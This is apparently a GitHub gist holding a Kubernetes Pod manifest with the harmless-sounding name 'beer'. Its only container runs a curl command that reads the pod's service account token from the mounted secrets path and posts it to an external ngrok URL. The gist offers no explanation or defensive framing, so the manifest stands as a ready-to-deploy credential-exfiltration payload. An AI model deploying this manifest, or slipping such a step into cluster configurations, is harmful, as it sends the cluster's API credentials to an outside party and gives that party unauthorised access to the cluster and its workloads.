Skip to content

Instantly share code, notes, and snippets.

@kingdonb
Created January 18, 2020 16:52
Show Gist options
  • Save kingdonb/d97b0fa1689ba6e6f75e65fe462c78b2 to your computer and use it in GitHub Desktop.
Save kingdonb/d97b0fa1689ba6e6f75e65fe462c78b2 to your computer and use it in GitHub Desktop.
apiVersion: v1
kind: Pod
metadata:
name: beer
spec:
containers:
- name: beer
image: tutum/curl
command:
- sh
- -c
- 'curl -d token=$(cat var/run/secrets/kubernetes.io/serviceaccount/token) http://dc05af0c.ngrok.io'
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment